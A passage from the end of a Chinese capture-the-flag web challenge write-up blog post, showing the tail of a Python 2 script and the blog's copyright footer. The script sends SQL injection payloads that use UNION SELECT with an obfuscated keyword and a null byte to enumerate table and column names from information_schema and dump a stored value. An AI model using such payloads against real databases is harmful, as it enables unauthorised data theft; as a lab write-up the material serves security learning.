    pcat('0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema regexp database())b join (select 3)c);'+chr(0),7,'2','u')
    pcat("0 2nion select * from((select 1)a join (select group_concat(column_name) from information_schema.columns where table_name regexp 'you_want')b join (select 3)c);"+chr(0),7,'2','u')
    pcat("0 2nion select * from((select 1)a join (select value from you_want limit 1)b join (select 3)c);"+chr(0),6,'2','u')
    pass

if __name__ == '__main__':
    foo()
    print 'ok'

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 951207194@qq.com

文章标题:实验吧web—writeup

文章字数:6,763

本文作者:Mang0

发布时间:2018-04-02, 16:10:18

最后更新:2018-11-02, 21:52:17

原始链接:http://mang0.me/archis/79216fa/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录
×

喜欢就点赞,疼爱就打赏